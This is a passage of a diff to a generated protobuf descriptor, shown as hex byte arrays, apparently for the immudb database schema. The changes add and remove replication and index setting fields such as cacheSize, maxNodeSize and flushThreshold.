0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, + 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, + 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, + 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, + 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, + 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, + 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, + 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, + 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, + 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, + 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, + 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, + 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, + 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, + 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, + 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, + 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, - 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, + 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, - 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, - 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, + 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, + 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, + 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, + 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, + 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, + 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, - 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, - 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, - 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, - 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, - 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, - 0x67, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, - 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, - 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, - 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, - 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, + 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, + 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, + 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, + 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, + 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, + 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, - 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, + 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, + 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, + 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, + 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, + 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, + 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, + 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, - 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, - 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, - 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, - 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, - 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, - 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, - 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, - 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, - 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, + 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, - 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, - 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, - 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 